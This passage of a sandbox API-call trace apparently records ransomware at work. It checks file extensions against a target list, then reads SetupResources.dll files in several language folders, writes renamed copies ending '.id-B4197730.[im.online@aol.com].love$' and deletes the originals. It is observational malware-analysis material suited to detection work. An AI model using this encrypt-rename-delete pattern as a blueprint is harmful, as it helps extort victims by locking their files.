(lpString=".7z") returned 3 [0100.414] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.414] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0100.414] lstrlenW (lpString=".dbf") returned 4 [0100.414] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.414] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0100.414] lstrlenW (lpString=".1cd") returned 4 [0100.414] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.414] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0100.414] lstrlenW (lpString=".jpg") returned 4 [0100.414] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.414] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0100.414] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0100.414] lstrlenW (lpString=".doc") returned 4 [0100.414] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.415] lstrlenW (lpString=".docx") returned 5 [0100.415] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0100.415] lstrlenW (lpString=".pdf") returned 4 [0100.415] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.415] lstrlenW (lpString=".xls") returned 4 [0100.415] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.415] lstrlenW (lpString=".xlsx") returned 5 [0100.415] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0100.415] lstrlenW (lpString=".ppt") returned 4 [0100.415] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0100.415] lstrlenW (lpString=".zip") returned 4 [0100.415] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.415] lstrlenW (lpString=".rar") returned 4 [0100.415] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.415] lstrlenW (lpString=".bz2") returned 4 [0100.415] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.415] lstrlenW (lpString=".7z") returned 3 [0100.415] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0100.415] lstrlenW (lpString=".dbf") returned 4 [0100.415] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0100.415] lstrlenW (lpString=".1cd") returned 4 [0100.415] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0100.415] lstrlenW (lpString=".jpg") returned 4 [0100.415] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.416] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0100.416] lstrlenW (lpString="SetupResources.dll") returned 18 [0100.416] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0100.416] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=17752) returned 1 [0100.416] CloseHandle (hObject=0x350) returned 1 [0100.416] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80 [0100.417] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.417] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0100.417] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.417] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.417] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0100.425] GetLastError () returned 0x0 [0100.425] ReadFile (in: hFile=0x350, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x4558, lpOverlapped=0x0) returned 1 [0100.427] WriteFile (in: hFile=0x344, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x4560, lpOverlapped=0x0) returned 1 [0100.429] ReadFile (in: hFile=0x350, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.429] WriteFile (in: hFile=0x344, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0xf8, lpOverlapped=0x0) returned 1 [0100.429] SetEndOfFile (hFile=0x344) returned 1 [0100.429] CloseHandle (hObject=0x344) returned 1 [0100.741] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.741] SetEndOfFile (hFile=0x350) returned 1 [0100.751] CloseHandle (hObject=0x350) returned 1 [0100.751] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0100.751] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1 [0100.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0100.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0100.752] lstrlenW (lpString=".doc") returned 4 [0100.752] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.752] lstrlenW (lpString=".docx") returned 5 [0100.752] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0100.752] lstrlenW (lpString=".pdf") returned 4 [0100.752] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.752] lstrlenW (lpString=".xls") returned 4 [0100.752] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.752] lstrlenW (lpString=".xlsx") returned 5 [0100.752] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0100.752] lstrlenW (lpString=".ppt") returned 4 [0100.752] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0100.752] lstrlenW (lpString=".zip") returned 4 [0100.752] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.752] lstrlenW (lpString=".rar") returned 4 [0100.752] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.752] lstrlenW (lpString=".bz2") returned 4 [0100.752] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.752] lstrlenW (lpString=".7z") returned 3 [0100.753] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0100.753] lstrlenW (lpString=".dbf") returned 4 [0100.753] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0100.753] lstrlenW (lpString=".1cd") returned 4 [0100.753] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0100.753] lstrlenW (lpString=".jpg") returned 4 [0100.753] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0100.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0100.753] lstrlenW (lpString=".doc") returned 4 [0100.753] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.753] lstrlenW (lpString=".docx") returned 5 [0100.753] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0100.753] lstrlenW (lpString=".pdf") returned 4 [0100.753] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.753] lstrlenW (lpString=".xls") returned 4 [0100.753] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.753] lstrlenW (lpString=".xlsx") returned 5 [0100.753] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0100.753] lstrlenW (lpString=".ppt") returned 4 [0100.753] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0100.753] lstrlenW (lpString=".zip") returned 4 [0100.753] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.754] lstrlenW (lpString=".rar") returned 4 [0100.754] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.754] lstrlenW (lpString=".bz2") returned 4 [0100.754] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.754] lstrlenW (lpString=".7z") returned 3 [0100.754] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0100.754] lstrlenW (lpString=".dbf") returned 4 [0100.754] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0100.754] lstrlenW (lpString=".1cd") returned 4 [0100.754] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0100.754] lstrlenW (lpString=".jpg") returned 4 [0100.754] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.754] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0100.754] lstrlenW (lpString="SetupResources.dll") returned 18 [0100.754] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0100.755] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=18264) returned 1 [0100.755] CloseHandle (hObject=0x350) returned 1 [0100.755] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80 [0100.755] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.755] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0100.755] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.755] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.755] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0100.758] GetLastError () returned 0x0 [0100.758] ReadFile (in: hFile=0x350, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x4758, lpOverlapped=0x0) returned 1 [0100.761] WriteFile (in: hFile=0x338, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x4760, lpOverlapped=0x0) returned 1 [0100.762] ReadFile (in: hFile=0x350, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.763] WriteFile (in: hFile=0x338, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0xf8, lpOverlapped=0x0) returned 1 [0100.763] SetEndOfFile (hFile=0x338) returned 1 [0100.763] CloseHandle (hObject=0x338) returned 1 [0100.764] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.765] SetEndOfFile (hFile=0x350) returned 1 [0100.766] CloseHandle (hObject=0x350) returned 1 [0100.766] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0100.766] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1 [0100.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0100.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0100.767] lstrlenW (lpString=".doc") returned 4 [0100.767] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.767] lstrlenW (lpString=".docx") returned 5 [0100.767] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0100.767] lstrlenW (lpString=".pdf") returned 4 [0100.767] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.767] lstrlenW (lpString=".xls") returned 4 [0100.767] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.767] lstrlenW (lpString=".xlsx") returned 5 [0100.767] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0100.767] lstrlenW (lpString=".ppt") returned 4 [0100.767] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0100.767] lstrlenW (lpString=".zip") returned 4 [0100.767] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.767] lstrlenW (lpString=".rar") returned 4 [0100.767] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.767] lstrlenW (lpString=".bz2") returned 4 [0100.767] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.767] lstrlenW (lpString=".7z") returned 3 [0100.767] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0100.768] lstrlenW (lpString=".dbf") returned 4 [0100.768] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0100.768] lstrlenW (lpString=".1cd") returned 4 [0100.768] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0100.768] lstrlenW (lpString=".jpg") returned 4 [0100.768] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0100.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0100.768] lstrlenW (lpString=".doc") returned 4 [0100.768] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.768] lstrlenW (lpString=".docx") returned 5 [0100.768] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0100.768] lstrlenW (lpString=".pdf") returned 4 [0100.768] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.768] lstrlenW (lpString=".xls") returned 4 [0100.768] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.768] lstrlenW (lpString=".xlsx") returned 5 [0100.768] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0100.768] lstrlenW (lpString=".ppt") returned 4 [0100.768] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0100.768] lstrlenW (lpString=".zip") returned 4 [0100.768] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.768] lstrlenW (lpString=".rar") returned 4 [0100.769] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.769] lstrlenW (lpString=".bz2") returned 4 [0100.769] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.769] lstrlenW (lpString=".7z") returned 3 [0100.769] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0100.769] lstrlenW (lpString=".dbf") returned 4 [0100.769] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0100.769] lstrlenW (lpString=".1cd") returned 4 [0100.769] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0100.769] lstrlenW (lpString=".jpg") returned 4 [0100.769] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.769] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0100.769] lstrlenW (lpString="SetupResources.dll") returned 18 [0100.769] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0100.770] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=17752) returned 1 [0100.770] CloseHandle (hObject=0x350) returned 1 [0100.770] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80 [0100.770] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.770] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0100.770] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.770] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.770] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0100.773] GetLastError () returned 0x0 [0100.773] ReadFile (in: hFile=0x350, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x4558, lpOverlapped=0x0) returned 1 [0100.776] WriteFile (in: hFile=0x338, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x4560, lpOverlapped=0x0) returned 1 [0100.783] ReadFile (in: hFile=0x350, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.784] WriteFile (in: hFile=0x338, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0xf8, lpOverlapped=0x0) returned 1 [0100.784] SetEndOfFile (hFile=0x338) returned 1 [0100.784] CloseHandle (hObject=0x338) returned 1 [0100.785] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.786] SetEndOfFile (hFile=0x350) returned 1 [0100.787] CloseHandle (hObject=0x350) returned 1 [0100.787] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0100.787] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1 [0100.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0100.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0100.788] lstrlenW (lpString=".doc") returned 4 [0100.788] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.788] lstrlenW (lpString=".docx") returned 5 [0100.788] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0100.788] lstrlenW (lpString=".pdf") returned 4 [0100.788] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.788] lstrlenW (lpString=".xls") returned 4 [0100.788] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.788] lstrlenW (lpString=".xlsx") returned 5 [0100.788] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0100.788] lstrlenW (lpString=".ppt") returned 4 [0100.788] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0100.788] lstrlenW (lpString=".zip") returned 4 [0100.788] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.788] lstrlenW (lpString=".rar") returned 4 [0100.788] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.788] lstrlenW (lpString=".bz2") returned 4 [0100.788] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.788] lstrlenW (lpString=".7z") returned 3 [0100.788] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0100.789] lstrlenW (lpString=".dbf") returned 4 [0100.789] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0100.789] lstrlenW (lpString=".1cd") returned 4 [0100.789] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0100.789] lstrlenW (lpString=".jpg") returned 4 [0100.789] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0100.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0100.789] lstrlenW (lpString=".doc") returned 4 [0100.789] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.789] lstrlenW (lpString=".docx") returned 5 [0100.789] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0100.789] lstrlenW (lpString=".pdf") returned 4 [0100.789] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.789] lstrlenW (lpString=".xls") returned 4 [0100.789] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.789] lstrlenW (lpString=".xlsx") returned 5 [0100.789] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0100.789] lstrlenW (lpString=".ppt") returned 4 [0100.789] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0100.789] lstrlenW (lpString=".zip") returned 4 [0100.789] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.789] lstrlenW (lpString=".rar") returned 4 [0100.789] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.790] lstrlenW (lpString=".bz2") returned 4 [0100.790] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.790] lstrlenW (lpString=".7z") returned 3 [0100.790] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.790] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0100.790] lstrlenW (lpString=".dbf") returned 4 [0100.790] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.790] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0100.790] lstrlenW (lpString=".1cd") returned 4 [0100.790] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.790] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0100.790] lstrlenW (lpString=".jpg") returned 4 [0100.790] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.790] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0100.790] 